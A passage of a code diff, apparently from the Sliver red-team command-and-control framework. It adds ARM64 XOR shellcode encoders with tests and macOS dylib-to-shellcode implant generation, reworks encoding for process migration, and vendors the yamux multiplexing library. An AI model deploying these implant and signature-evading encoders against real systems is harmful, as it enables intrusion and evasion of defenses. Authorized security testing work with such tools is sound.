t.Fatalf("keyTerm mismatch")
}
stubLen := encodedStart - 1 - len(coreKey)
if stubLen <= 0 {
t.Fatalf("unexpected stub length: %d", stubLen)
}
if !bytes.Equal(out[stubLen:stubLen+len(coreKey)], coreKey) {
t.Fatalf("key region mismatch")
}
encoded := out[encodedStart : len(out)-2]
decoded := make([]byte, len(encoded))
for i := range encoded {
decoded[i] = encoded[i] ^ coreKey[i%len(coreKey)]
}
if !bytes.Equal(decoded, payload) {
t.Fatalf("decoded payload mismatch")
}
}
func TestXorDynamicRejectsEmptyPayload(t *testing.T) {
_, err := XorDynamic(nil, []byte{0x11})
if err == nil {
t.Fatal("expected error")
}
}
func TestXorDynamicRejectsEmptyKey(t *testing.T) {
_, err := XorDynamic([]byte{0x90}, nil)
if err == nil {
t.Fatal("expected error")
}
}
+110
View File
@@ -0,0 +1,110 @@
package arm64
import (
"bytes"
"fmt"
"testing"
)
func TestXorRoundTrip(t *testing.T) {
key := []byte{0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88}
tests := [][]byte{
{0x90},
{0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90},
{0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90},
{0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90},
bytes.Repeat([]byte{0xAB}, 31),
bytes.Repeat([]byte{0xAB}, 32),
bytes.Repeat([]byte{0xAB}, 33),
}
for _, payload := range tests {
payload := payload
t.Run(fmt.Sprintf("len=%d", len(payload)), func(t *testing.T) {
encoded, err := Xor(payload, key)
if err != nil {
t.Fatalf("Xor failed: %v", err)
}
paddedLen := ((len(payload) + xorBlockSize - 1) / xorBlockSize) * xorBlockSize
if len(encoded) < paddedLen {
t.Fatalf("encoded output too short: got=%d want>=%d", len(encoded), paddedLen)
}
stubLen := len(encoded) - paddedLen
if stubLen <= 0 {
t.Fatalf("unexpected stub length %d", stubLen)
}
encodedPayload := encoded[stubLen:]
decoded := make([]byte, len(encodedPayload))
copy(decoded, encodedPayload)
for i := 0; i < len(decoded); i += xorBlockSize {
for j := 0; j < xorKeySize; j++ {
decoded[i+j] ^= key[j]
}
}
if !bytes.Equal(decoded[:len(payload)], payload) {
t.Fatalf("decoded payload mismatch")
}
if !bytes.Equal(decoded[len(payload):], make([]byte, len(decoded)-len(payload))) {
t.Fatalf("decoded padding not zeroed")
}
})
}
}
func TestXorRejectsEmptyPayload(t *testing.T) {
_, err := Xor(nil, []byte{0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88})
if err == nil {
t.Fatal("expected error")
}
}
func TestXorRejectsInvalidKeyLength(t *testing.T) {
_, err := Xor([]byte{0x90}, []byte{0x01})
if err == nil {
t.Fatal("expected error")
}
}
// func TestXorGiganticKnotFixture(t *testing.T) {
// payload, err := os.ReadFile(filepath.Join("testdata", "GIGANTIC_KNOT.bin"))
// if err != nil {
// t.Fatalf("failed to read fixture: %v", err)
// }
// if len(payload) == 0 {
// t.Fatal("fixture is empty")
// }
// key := []byte{0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88}
// encoded, err := Xor(payload, key)
// if err != nil {
// t.Fatalf("Xor failed: %v", err)
// }
// paddedLen := ((len(payload) + xorBlockSize - 1) / xorBlockSize) * xorBlockSize
// if len(encoded) < paddedLen {
// t.Fatalf("encoded output too short: got=%d want>=%d", len(encoded), paddedLen)
// }
// stubLen := len(encoded) - paddedLen
// if stubLen <= 0 || stubLen%4 != 0 {
// t.Fatalf("unexpected stub length %d", stubLen)
// }
// encodedPayload := encoded[stubLen:]
// decoded := make([]byte, len(encodedPayload))
// copy(decoded, encodedPayload)
// for i := 0; i < len(decoded); i += xorBlockSize {
// for j := 0; j < xorKeySize; j++ {
// decoded[i+j] ^= key[j]
// }
// }
// if !bytes.Equal(decoded[:len(payload)], payload) {
// t.Fatalf("decoded payload mismatch")
// }
// }
+55
View File
@@ -2,6 +2,7 @@ package shellcode
import (
"github.com/bishopfox/sliver/server/encoders/shellcode/amd64"
"github.com/bishopfox/sliver/server/encoders/shellcode/arm64"
"github.com/bishopfox/sliver/server/encoders/shellcode/sgn"
)
@@ -65,6 +66,56 @@ func (e *XorDynamicEncoder) Description() string {
return "An x64 XOR encoder with dynamic key size for AMD64"
}
type XorEncoderArm64 struct{}
func (e *XorEncoderArm64) Encode(data []byte, args ShellcodeEncoderArgs) ([]byte, error) {
iterations := args.Iterations
if iterations <= 0 {
iterations = 1
}
for i := 0; i < iterations; i++ {
key, err := arm64.XorKeyGen()
if err != nil {
return nil, err
}
encoded, err := arm64.Xor(data, key)
if err != nil {
return nil, err
}
data = encoded
}
return data, nil
}
func (e *XorEncoderArm64) Description() string {
return "Basic XOR encoder for ARM64"
}
type XorDynamicEncoderArm64 struct{}
func (e *XorDynamicEncoderArm64) Encode(data []byte, args ShellcodeEncoderArgs) ([]byte, error) {
iterations := args.Iterations
if iterations <= 0 {
iterations = 1
}
for i := 0; i < iterations; i++ {
key, err := arm64.XorDynamicKeyGen()
if err != nil {
return nil, err
}
encoded, err := arm64.XorDynamic(data, key)
if err != nil {
return nil, err
}
data = encoded
}
return data, nil
}
func (e *XorDynamicEncoderArm64) Description() string {
return "A dynamic XOR encoder for ARM64"
}
type ShikataGaNaiEncoderAmd64 struct{}
func (e *ShikataGaNaiEncoderAmd64) Encode(data []byte, args ShellcodeEncoderArgs) ([]byte, error) {
@@ -92,6 +143,10 @@ var (
"xor_dynamic": &XorDynamicEncoder{},
"shikata_ga_nai": &ShikataGaNaiEncoderAmd64{},
},
"arm64": {
"xor": &XorEncoderArm64{},
"xor_dynamic": &XorDynamicEncoderArm64{},
},
"386": {
"shikata_ga_nai": &ShikataGaNaiEncoder386{},
},
+143 -14
View File
@@ -44,6 +44,7 @@ import (
"github.com/bishopfox/sliver/server/log"
"github.com/bishopfox/sliver/util"
utilEncoders "github.com/bishopfox/sliver/util/encoders"
"github.com/sliverarmory/beignet"
"golang.org/x/mod/module"
"golang.org/x/text/cases"
"golang.org/x/text/language"
@@ -133,11 +134,115 @@ func GetSliversDir() string {
// Sliver Generation Code
// -----------------------
// SliverShellcode - Generates a sliver shellcode using Donut
// SliverShellcode - Generates a sliver shellcode (Windows: Donut, macOS: beignet)
func SliverShellcode(name string, build *clientpb.ImplantBuild, config *clientpb.ImplantConfig, pbC2Implant *clientpb.HTTPC2ImplantConfig) (string, error) {
if config.GOOS != "windows" {
return "", fmt.Errorf("shellcode format is currently only supported on Windows")
switch config.GOOS {
case WINDOWS:
return windowsShellcode(name, build, config, pbC2Implant)
case DARWIN:
return darwinShellcode(name, build, config, pbC2Implant)
}
return "", fmt.Errorf("shellcode format is not supported on %s", config.GOOS)
}
func darwinShellcode(name string, build *clientpb.ImplantBuild, config *clientpb.ImplantConfig, pbC2Implant *clientpb.HTTPC2ImplantConfig) (string, error) {
if config.GOARCH != "arm64" {
return "", fmt.Errorf("darwin shellcode format is only supported for arm64 architecture")
}
if len(config.Exports) == 0 {
return "", fmt.Errorf("darwin shellcode requires at least one export symbol")
}
appDir := assets.GetRootAppDir()
var cc string
var cxx string
if runtime.GOOS != config.GOOS || runtime.GOARCH != config.GOARCH {
buildLog.Debugf("Cross-compiling from %s/%s to %s/%s", runtime.GOOS, runtime.GOARCH, config.GOOS, config.GOARCH)
cc, cxx = findCrossCompilers(config.GOOS, config.GOARCH)
}
buildLog.Infof(" CC: %s", cc)
buildLog.Infof("CXX: %s", cxx)
goConfig := &gogo.GoConfig{
CGO: "1",
CC: cc,
CXX: cxx,
GOOS: config.GOOS,
GOARCH: config.GOARCH,
GOCACHE: gogo.GetGoCache(appDir),
GOMODCACHE: gogo.GetGoModCache(appDir),
GOROOT: gogo.GetGoRootDir(appDir),
GOPROXY: getGoProxy(),
HTTPPROXY: getGoHttpProxy(),
HTTPSPROXY: getGoHttpsProxy(),
Obfuscation: config.ObfuscateSymbols,
GOGARBLE: goGarble(config),
}
config.IsSharedLib = true
pkgPath, err := renderSliverGoCode(name, build, config, goConfig, pbC2Implant)
if err != nil {
return "", err
}
tmpFile, err := os.CreateTemp("", "sliver-*.dylib")
if err != nil {
return "", err
}
tmpFile.Close()
defer os.Remove(tmpFile.Name())
dylibDest := tmpFile.Name()
tags := []string{}
if config.NetGoEnabled {
tags = append(tags, "netgo")
}
ldflags := []string{""} // Garble will automatically add "-s -w -buildid="
// Keep those for potential later use
gcFlags := ""
asmFlags := ""
_, err = gogo.GoBuild(*goConfig, pkgPath, dylibDest, "c-shared", tags, ldflags, gcFlags, asmFlags)
if err != nil {
return "", err
}
dylibData, err := os.ReadFile(dylibDest)
if err != nil {
return "", err
}
compress := false
if config.ShellcodeConfig != nil && config.ShellcodeConfig.Compress == 2 {
compress = true
}
shellcodeBin, err := beignet.DylibToShellcode(dylibData, beignet.Options{
EntrySymbol: config.Exports[0],
Compress: compress,
})
if err != nil {
return "", err
}
shellcodeDest := filepath.Join(goConfig.ProjectDir, "bin", filepath.Base(name))
shellcodeDest += ".bin"
err = os.WriteFile(shellcodeDest, shellcodeBin, 0600)
if err != nil {
return "", err
}
return shellcodeDest, err
}
func windowsShellcode(name string, build *clientpb.ImplantBuild, config *clientpb.ImplantConfig, pbC2Implant *clientpb.HTTPC2ImplantConfig) (string, error) {
if config.GOARCH != "amd64" && config.GOARCH != "386" {
return "", fmt.Errorf("windows shellcode format is only supported for amd64 and 386 architectures")
}
appDir := assets.GetRootAppDir()
goConfig := &gogo.GoConfig{
CGO: "0",
@@ -154,7 +259,6 @@ func SliverShellcode(name string, build *clientpb.ImplantBuild, config *clientpb
Obfuscation: config.ObfuscateSymbols,
GOGARBLE: goGarble(config),
}
pkgPath, err := renderSliverGoCode(name, build, config, goConfig, pbC2Implant)
if err != nil {
return "", err
@@ -183,7 +287,7 @@ func SliverShellcode(name string, build *clientpb.ImplantBuild, config *clientpb
if err != nil {
return "", err
}
shellcode, err := DonutShellcodeFromFile(dest, config.GOARCH, false, "", "", "", config.DonutConfig)
shellcode, err := DonutShellcodeFromFile(dest, config.GOARCH, false, "", "", "", config.ShellcodeConfig)
if err != nil {
return "", err
}
@@ -868,18 +972,43 @@ func GetCompilerTargets() []*clientpb.CompilerTarget {
})
}
// SHELLCODE - Can generate shellcode for Windows targets only
// SHELLCODE - Windows (Donut) and macOS (beignet, darwin/arm64 only)
for longPlatform := range SupportedCompilerTargets {
platform := strings.SplitN(longPlatform, "/", 2)
if platform[0] != WINDOWS {
continue
}
switch platform[0] {
case WINDOWS:
targets = append(targets, &clientpb.CompilerTarget{
GOOS: platform[0],
GOARCH: platform[1],
Format: clientpb.OutputFormat_SHELLCODE,
})
case DARWIN:
if platform[1] != "arm64" {
continue
}
targets = append(targets, &clientpb.CompilerTarget{
GOOS: platform[0],
GOARCH: platform[1],
Format: clientpb.OutputFormat_SHELLCODE,
})
// We can always try to build our own platform.
if runtime.GOOS == platform[0] {
targets = append(targets, &clientpb.CompilerTarget{
GOOS: platform[0],
GOARCH: platform[1],
Format: clientpb.OutputFormat_SHELLCODE,
})
continue
}
// Cross-compile with the right configuration (same requirements as a darwin shared library build).
if runtime.GOOS == LINUX || runtime.GOOS == DARWIN {
cc, _ := findCrossCompilers(platform[0], platform[1])
if cc != "" {
targets = append(targets, &clientpb.CompilerTarget{
GOOS: platform[0],
GOARCH: platform[1],
Format: clientpb.OutputFormat_SHELLCODE,
})
}
}
}
}
return targets
+5 -5
View File
@@ -19,24 +19,24 @@ const (
)
// DonutShellcodeFromFile returns a Donut shellcode for the given PE file
func DonutShellcodeFromFile(filePath string, arch string, dotnet bool, params string, className string, method string, donutConfig *clientpb.DonutConfig) (data []byte, err error) {
func DonutShellcodeFromFile(filePath string, arch string, dotnet bool, params string, className string, method string, shellcodeConfig *clientpb.ShellcodeConfig) (data []byte, err error) {
pe, err := os.ReadFile(filePath)
if err != nil {
return
}
isDLL := (filepath.Ext(filePath) == ".dll")
return DonutShellcodeFromPE(pe, arch, dotnet, params, className, method, isDLL, false, true, donutConfig)
return DonutShellcodeFromPE(pe, arch, dotnet, params, className, method, isDLL, false, true, shellcodeConfig)
}
// DonutShellcodeFromPE returns a Donut shellcode for the given PE file
func DonutShellcodeFromPE(pe []byte, arch string, dotnet bool, params string, className string, method string, isDLL bool, isUnicode bool, createNewThread bool, donutConfig *clientpb.DonutConfig) (data []byte, err error) {
func DonutShellcodeFromPE(pe []byte, arch string, dotnet bool, params string, className string, method string, isDLL bool, isUnicode bool, createNewThread bool, shellcodeConfig *clientpb.ShellcodeConfig) (data []byte, err error) {
ext := ".exe"
if isDLL {
ext = ".dll"
}
_ = dotnet
donutOpts := normalizeDonutConfig(donutConfig, createNewThread, isUnicode)
donutOpts := normalizeDonutConfig(shellcodeConfig, createNewThread, isUnicode)
donutArch := getDonutArch(arch)
opts := wasmdonut.GenerateOptions{
@@ -73,7 +73,7 @@ type donutOptions struct {
oep uint32
}
func normalizeDonutConfig(config *clientpb.DonutConfig, fallbackThread bool, fallbackUnicode bool) donutOptions {
func normalizeDonutConfig(config *clientpb.ShellcodeConfig, fallbackThread bool, fallbackUnicode bool) donutOptions {
opts := donutOptions{
entropy: defaultDonutEntropy,
compress: defaultDonutCompress,
+4 -10
View File
@@ -156,21 +156,15 @@ func (rpc *Server) StartWGListener(ctx context.Context, req *clientpb.WGListener
req.KeyPort = defaultWGKeyExPort
}
if req.NPort == req.KeyPort {
return nil, status.Error(codes.InvalidArgument, "wg nport and key-port must be different")
}
err := PortInUse(req.Port)
if err != nil {
return nil, rpcError(err)
}
err = PortInUse(req.NPort)
if err != nil {
return nil, rpcError(err)
}
err = PortInUse(req.KeyPort)
if err != nil {
return nil, rpcError(err)
}
job, err := c2.StartWGListenerJob(req)
if err != nil {
return nil, rpcError(err)
+2
View File
@@ -147,6 +147,8 @@ func normalizeShellcodeArch(arch string) string {
return "amd64"
case "386", "x86", "i386":
return "386"
case "arm64", "aarch64":
return "arm64"
default:
return normalized
}
+33 -13
View File
@@ -36,9 +36,9 @@ import (
"github.com/bishopfox/sliver/server/core"
"github.com/bishopfox/sliver/server/db"
"github.com/bishopfox/sliver/server/db/models"
shellcodeencoders "github.com/bishopfox/sliver/server/encoders/shellcode"
"github.com/bishopfox/sliver/server/generate"
"github.com/bishopfox/sliver/server/log"
"github.com/bishopfox/sliver/server/encoders/shellcode/sgn"
"github.com/bishopfox/sliver/util"
"google.golang.org/grpc/codes"
@@ -61,7 +61,7 @@ func (rpc *Server) Task(ctx context.Context, req *sliverpb.TaskReq) (*sliverpb.T
// Migrate - Migrate to a new process on the remote system (Windows only)
func (rpc *Server) Migrate(ctx context.Context, req *clientpb.MigrateReq) (*sliverpb.Migrate, error) {
var shellcode []byte
var sc []byte
var session *core.Session
var beacon *clientpb.Beacon
var dbBeacon *models.Beacon
@@ -85,7 +85,7 @@ func (rpc *Server) Migrate(ctx context.Context, req *clientpb.MigrateReq) (*sliv
}
name := filepath.Base(req.Name)
shellcode, arch, err := getSliverShellcode(name)
sc, arch, err := getSliverShellcode(name)
if err != nil {
config := req.Config
if req.Name == "" {
@@ -119,7 +119,7 @@ func (rpc *Server) Migrate(ctx context.Context, req *clientpb.MigrateReq) (*sliv
if err != nil {
return nil, rpcError(err)
}
shellcode, _ = os.ReadFile(shellcodePath)
sc, _ = os.ReadFile(shellcodePath)
// Save the implant config in the database so that the server recognizes it when it tries to connect
config.ID = ""
savedConfig, err := db.SaveImplantConfig(config)
@@ -140,23 +140,43 @@ func (rpc *Server) Migrate(ctx context.Context, req *clientpb.MigrateReq) (*sliv
}
if len(shellcode) < 1 {
if len(sc) < 1 {
return nil, status.Error(codes.OutOfRange, "shellcode is zero bytes")
}
switch req.Encoder {
case clientpb.ShellcodeEncoder_SHIKATA_GA_NAI:
shellcode, err = sgn.EncodeShellcode(shellcode, arch, 1, []byte{})
if err != nil {
return nil, rpcError(err)
if req.Encoder != clientpb.ShellcodeEncoder_NONE {
encoderName, ok := shellcodeEncoderNames[req.Encoder]
if !ok {
return nil, status.Error(codes.InvalidArgument, "Unknown encoder")
}
normalizedArch := normalizeShellcodeArch(arch)
if normalizedArch == "" {
return nil, status.Error(codes.InvalidArgument, "Unknown architecture")
}
encoderArchs := shellcodeencoders.ShellcodeEncoders[normalizedArch]
if encoderArchs == nil {
return nil, status.Error(codes.InvalidArgument, fmt.Sprintf("Unknown architecture: %s", normalizedArch))
}
encoder := encoderArchs[encoderName]
if encoder == nil {
return nil, status.Error(codes.InvalidArgument, fmt.Sprintf("Encoder %s not supported for architecture %s", encoderName, normalizedArch))
}
encoded, err := encoder.Encode(sc, shellcodeencoders.ShellcodeEncoderArgs{
Iterations: 1,
BadChars: []byte{},
})
if err != nil {
return nil, status.Error(codes.Internal, fmt.Sprintf("Failed to encode shellcode (%s)", err))
}
sc = encoded
}
migrateReq := &sliverpb.InvokeMigrateReq{
Request: req.Request,
Data: shellcode,
Data: sc,
Pid: req.Pid,
ProcName: req.ProcName,
}
@@ -373,7 +393,7 @@ func getSliverShellcode(name string) ([]byte, string, error) {
if err != nil {
return []byte{}, "", err
}
data, err = generate.DonutShellcodeFromPE(fileData, config.GOARCH, false, "", "", "", false, false, false, config.DonutConfig)
data, err = generate.DonutShellcodeFromPE(fileData, config.GOARCH, false, "", "", "", false, false, false, config.ShellcodeConfig)
if err != nil {
rpcLog.Errorf("DonutShellcodeFromPE error: %v\n", err)
return []byte{}, "", err
+23
View File
@@ -0,0 +1,23 @@
# Compiled Object files, Static and Dynamic libs (Shared Objects)
*.o
*.a
*.so
# Folders
_obj
_test
# Architecture specific extensions/prefixes
*.[568vq]
[568vq].out
*.cgo1.go
*.cgo2.c
_cgo_defun.c
_cgo_gotypes.go
_cgo_export.*
_testmain.go
*.exe
*.test
+364
View File
@@ -0,0 +1,364 @@
Copyright (c) 2014 HashiCorp, Inc.
Mozilla Public License, version 2.0
1. Definitions
1.1. "Contributor"
means each individual or legal entity that creates, contributes to the
creation of, or owns Covered Software.
1.2. "Contributor Version"
means the combination of the Contributions of others (if any) used by a
Contributor and that particular Contributor's Contribution.
1.3. "Contribution"
means Covered Software of a particular Contributor.
1.4. "Covered Software"
means Source Code Form to which the initial Contributor has attached the
notice in Exhibit A, the Executable Form of such Source Code Form, and
Modifications of such Source Code Form, in each case including portions
thereof.
1.5. "Incompatible With Secondary Licenses"
means
a. that the initial Contributor has attached the notice described in
Exhibit B to the Covered Software; or
b. that the Covered Software was made available under the terms of
version 1.1 or earlier of the License, but not also under the terms of
a Secondary License.
1.6. "Executable Form"
means any form of the work other than Source Code Form.
1.7. "Larger Work"
means a work that combines Covered Software with other material, in a
separate file or files, that is not Covered Software.
1.8. "License"
means this document.
1.9. "Licensable"
means having the right to grant, to the maximum extent possible, whether
at the time of the initial grant or subsequently, any and all of the
rights conveyed by this License.
1.10. "Modifications"
means any of the following:
a. any file in Source Code Form that results from an addition to,
deletion from, or modification of the contents of Covered Software; or
b. any new file in Source Code Form that contains any Covered Software.
1.11. "Patent Claims" of a Contributor
means any patent claim(s), including without limitation, method,
process, and apparatus claims, in any patent Licensable by such
Contributor that would be infringed, but for the grant of the License,
by the making, using, selling, offering for sale, having made, import,
or transfer of either its Contributions or its Contributor Version.
1.12. "Secondary License"
means either the GNU General Public License, Version 2.0, the GNU Lesser
General Public License, Version 2.1, the GNU Affero General Public
License, Version 3.0, or any later versions of those licenses.
1.13. "Source Code Form"
means the form of the work preferred for making modifications.
1.14. "You" (or "Your")
means an individual or a legal entity exercising rights under this
License. For legal entities, "You" includes any entity that controls, is
controlled by, or is under common control with You. For purposes of this
definition, "control" means (a) the power, direct or indirect, to cause
the direction or management of such entity, whether by contract or
otherwise, or (b) ownership of more than fifty percent (50%) of the
outstanding shares or beneficial ownership of such entity.
2. License Grants and Conditions
2.1. Grants
Each Contributor hereby grants You a world-wide, royalty-free,
non-exclusive license:
a. under intellectual property rights (other than patent or trademark)
Licensable by such Contributor to use, reproduce, make available,
modify, display, perform, distribute, and otherwise exploit its
Contributions, either on an unmodified basis, with Modifications, or
as part of a Larger Work; and
b. under Patent Claims of such Contributor to make, use, sell, offer for
sale, have made, import, and otherwise transfer either its
Contributions or its Contributor Version.
2.2. Effective Date
The licenses granted in Section 2.1 with respect to any Contribution
become effective for each Contribution on the date the Contributor first
distributes such Contribution.
2.3. Limitations on Grant Scope
The licenses granted in this Section 2 are the only rights granted under
this License. No additional rights or licenses will be implied from the
distribution or licensing of Covered Software under this License.
Notwithstanding Section 2.1(b) above, no patent license is granted by a
Contributor:
a. for any code that a Contributor has removed from Covered Software; or
b. for infringements caused by: (i) Your and any other third party's
modifications of Covered Software, or (ii) the combination of its
Contributions with other software (except as part of its Contributor
Version); or
c. under Patent Claims infringed by Covered Software in the absence of
its Contributions.
This License does not grant any rights in the trademarks, service marks,
or logos of any Contributor (except as may be necessary to comply with
the notice requirements in Section 3.4).
2.4. Subsequent Licenses
No Contributor makes additional grants as a result of Your choice to
distribute the Covered Software under a subsequent version of this
License (see Section 10.2) or under the terms of a Secondary License (if
permitted under the terms of Section 3.3).
2.5. Representation
Each Contributor represents that the Contributor believes its
Contributions are its original creation(s) or it has sufficient rights to
grant the rights to its Contributions conveyed by this License.
2.6. Fair Use
This License is not intended to limit any rights You have under
applicable copyright doctrines of fair use, fair dealing, or other
equivalents.
2.7. Conditions
Sections 3.1, 3.2, 3.3, and 3.4 are conditions of the licenses granted in
Section 2.1.
3. Responsibilities
3.1. Distribution of Source Form
All distribution of Covered Software in Source Code Form, including any
Modifications that You create or to which You contribute, must be under
the terms of this License. You must inform recipients that the Source
Code Form of the Covered Software is governed by the terms of this
License, and how they can obtain a copy of this License. You may not
attempt to alter or restrict the recipients' rights in the Source Code
Form.
3.2. Distribution of Executable Form
If You distribute Covered Software in Executable Form then:
a. such Covered Software must also be made available in Source Code Form,
as described in Section 3.1, and You must inform recipients of the
Executable Form how they can obtain a copy of such Source Code Form by
reasonable means in a timely manner, at a charge no more than the cost
of distribution to the recipient; and
b. You may distribute such Executable Form under the terms of this
License, or sublicense it under different terms, provided that the
license for the Executable Form does not attempt to limit or alter the
recipients' rights in the Source Code Form under this License.
3.3. Distribution of a Larger Work
You may create and distribute a Larger Work under terms of Your choice,
provided that You also comply with the requirements of this License for
the Covered Software. If the Larger Work is a combination of Covered
Software with a work governed by one or more Secondary Licenses, and the
Covered Software is not Incompatible With Secondary Licenses, this
License permits You to additionally distribute such Covered Software
under the terms of such Secondary License(s), so that the recipient of
the Larger Work may, at their option, further distribute the Covered
Software under the terms of either this License or such Secondary
License(s).
3.4. Notices
You may not remove or alter the substance of any license notices
(including copyright notices, patent notices, disclaimers of warranty, or
limitations of liability) contained within the Source Code Form of the
Covered Software, except that You may alter any license notices to the
extent required to remedy known factual inaccuracies.
3.5. Application of Additional Terms
You may choose to offer, and to charge a fee for, warranty, support,
indemnity or liability obligations to one or more recipients of Covered
Software. However, You may do so only on Your own behalf, and not on
behalf of any Contributor. You must make it absolutely clear that any
such warranty, support, indemnity, or liability obligation is offered by
You alone, and You hereby agree to indemnify every Contributor for any
liability incurred by such Contributor as a result of warranty, support,
indemnity or liability terms You offer. You may include additional
disclaimers of warranty and limitations of liability specific to any
jurisdiction.
4. Inability to Comply Due to Statute or Regulation
If it is impossible for You to comply with any of the terms of this License
with respect to some or all of the Covered Software due to statute,
judicial order, or regulation then You must: (a) comply with the terms of
this License to the maximum extent possible; and (b) describe the
limitations and the code they affect. Such description must be placed in a
text file included with all distributions of the Covered Software under
this License. Except to the extent prohibited by statute or regulation,
such description must be sufficiently detailed for a recipient of ordinary
skill to be able to understand it.
5. Termination
5.1. The rights granted under this License will terminate automatically if You
fail to comply with any of its terms. However, if You become compliant,
then the rights granted under this License from a particular Contributor
are reinstated (a) provisionally, unless and until such Contributor
explicitly and finally terminates Your grants, and (b) on an ongoing
basis, if such Contributor fails to notify You of the non-compliance by
some reasonable means prior to 60 days after You have come back into
compliance. Moreover, Your grants from a particular Contributor are
reinstated on an ongoing basis if such Contributor notifies You of the
non-compliance by some reasonable means, this is the first time You have
received notice of non-compliance with this License from such
Contributor, and You become compliant prior to 30 days after Your receipt
of the notice.
5.2. If You initiate litigation against any entity by asserting a patent
infringement claim (excluding declaratory judgment actions,
counter-claims, and cross-claims) alleging that a Contributor Version
directly or indirectly infringes any patent, then the rights granted to
You by any and all Contributors for the Covered Software under Section
2.1 of this License shall terminate.
5.3. In the event of termination under Sections 5.1 or 5.2 above, all end user
license agreements (excluding distributors and resellers) which have been
validly granted by You or Your distributors under this License prior to
termination shall survive termination.
6. Disclaimer of Warranty
Covered Software is provided under this License on an "as is" basis,
without warranty of any kind, either expressed, implied, or statutory,
including, without limitation, warranties that the Covered Software is free
of defects, merchantable, fit for a particular purpose or non-infringing.
The entire risk as to the quality and performance of the Covered Software
is with You. Should any Covered Software prove defective in any respect,
You (not any Contributor) assume the cost of any necessary servicing,
repair, or correction. This disclaimer of warranty constitutes an essential
part of this License. No use of any Covered Software is authorized under
this License except under this disclaimer.
7. Limitation of Liability
Under no circumstances and under no legal theory, whether tort (including
negligence), contract, or otherwise, shall any Contributor, or anyone who
distributes Covered Software as permitted above, be liable to You for any
direct, indirect, special, incidental, or consequential damages of any
character including, without limitation, damages for lost profits, loss of
goodwill, work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses, even if such party shall have been
informed of the possibility of such damages. This limitation of liability
shall not apply to liability for death or personal injury resulting from
such party's negligence to the extent applicable law prohibits such
limitation. Some jurisdictions do not allow the exclusion or limitation of
incidental or consequential damages, so this exclusion and limitation may
not apply to You.
8. Litigation
Any litigation relating to this License may be brought only in the courts
of a jurisdiction where the defendant maintains its principal place of
business and such litigation shall be governed by laws of that
jurisdiction, without reference to its conflict-of-law provisions. Nothing
in this Section shall prevent a party's ability to bring cross-claims or
counter-claims.
9. Miscellaneous
This License represents the complete agreement concerning the subject
matter hereof. If any provision of this License is held to be
unenforceable, such provision shall be reformed only to the extent
necessary to make it enforceable. Any law or regulation which provides that
the language of a contract shall be construed against the drafter shall not
be used to construe this License against a Contributor.
10. Versions of the License
10.1. New Versions
Mozilla Foundation is the license steward. Except as provided in Section
10.3, no one other than the license steward has the right to modify or
publish new versions of this License. Each version will be given a
distinguishing version number.
10.2. Effect of New Versions
You may distribute the Covered Software under the terms of the version
of the License under which You originally received the Covered Software,
or under the terms of any subsequent version published by the license
steward.
10.3. Modified Versions
If you create software not governed by this License, and you want to
create a new license for such software, you may create and use a
modified version of this License if you rename the license and remove
any references to the name of the license steward (except to note that
such modified license differs from this License).
10.4. Distributing Source Code Form that is Incompatible With Secondary
Licenses If You choose to distribute Source Code Form that is
Incompatible With Secondary Licenses under the terms of this version of
the License, the notice described in Exhibit B of this License must be
attached.
Exhibit A - Source Code Form License Notice
This Source Code Form is subject to the
terms of the Mozilla Public License, v.
2.0. If a copy of the MPL was not
distributed with this file, You can
obtain one at
http://mozilla.org/MPL/2.0/.
If it is not possible or desirable to put the notice in a particular file,
then You may include the notice in a location (such as a LICENSE file in a
relevant directory) where a recipient would be likely to look for such a
notice.
You may add additional accurate notices of copyright ownership.
Exhibit B - "Incompatible With Secondary Licenses" Notice
This Source Code Form is "Incompatible
With Secondary Licenses", as defined by
the Mozilla Public License, v. 2.0.
+86
View File
@@ -0,0 +1,86 @@
# Yamux
Yamux (Yet another Multiplexer) is a multiplexing library for Golang.
It relies on an underlying connection to provide reliability
and ordering, such as TCP or Unix domain sockets, and provides
stream-oriented multiplexing. It is inspired by SPDY but is not
interoperable with it.
Yamux features include:
* Bi-directional streams
* Streams can be opened by either client or server
* Useful for NAT traversal
* Server-side push support
* Flow control
* Avoid starvation
* Back-pressure to prevent overwhelming a receiver
* Keep Alives
* Enables persistent connections over a load balancer
* Efficient
* Enables thousands of logical streams with low overhead
## Documentation
For complete documentation, see the associated [Godoc](http://godoc.org/github.com/hashicorp/yamux).
## Specification
The full specification for Yamux is provided in the `spec.md` file.
It can be used as a guide to implementors of interoperable libraries.
## Usage
Using Yamux is remarkably simple:
```go
func client() {
// Get a TCP connection
conn, err := net.Dial(...)
if err != nil {
panic(err)
}
// Setup client side of yamux
session, err := yamux.Client(conn, nil)
if err != nil {
panic(err)
}
// Open a new stream
stream, err := session.Open()
if err != nil {
panic(err)
}
// Stream implements net.Conn
stream.Write([]byte("ping"))
}
func server() {
// Accept a TCP connection
conn, err := listener.Accept()
if err != nil {
panic(err)
}
// Setup server side of yamux
session, err := yamux.Server(conn, nil)
if err != nil {
panic(err)
}
// Accept a stream
stream, err := session.Accept()
if err != nil {
panic(err)
}
// Listen for a message
buf := make([]byte, 4)
stream.Read(buf)
}
```
+60
View File
@@ -0,0 +1,60 @@
package yamux
import (
"fmt"
"net"
)
// hasAddr is used to get the address from the underlying connection
type hasAddr interface {
LocalAddr() net.Addr
RemoteAddr() net.Addr
}
// yamuxAddr is used when we cannot get the underlying address
type yamuxAddr struct {
Addr string
}
func (*yamuxAddr) Network() string {
return "yamux"
}
func (y *yamuxAddr) String() string {
return fmt.Sprintf("yamux:%s", y.Addr)
}
// Addr is used to get the address of the listener.
func (s *Session) Addr() net.Addr {
return s.LocalAddr()
}
// LocalAddr is used to get the local address of the
// underlying connection.
func (s *Session) LocalAddr() net.Addr {
addr, ok := s.conn.(hasAddr)
if !ok {
return &yamuxAddr{"local"}
}
return addr.LocalAddr()
}
// RemoteAddr is used to get the address of remote end
// of the underlying connection
func (s *Session) RemoteAddr() net.Addr {
addr, ok := s.conn.(hasAddr)
if !ok {
return &yamuxAddr{"remote"}
}
return addr.RemoteAddr()
}
// LocalAddr returns the local address
func (s *Stream) LocalAddr() net.Addr {
return s.session.LocalAddr()
}
// RemoteAddr returns the remote address
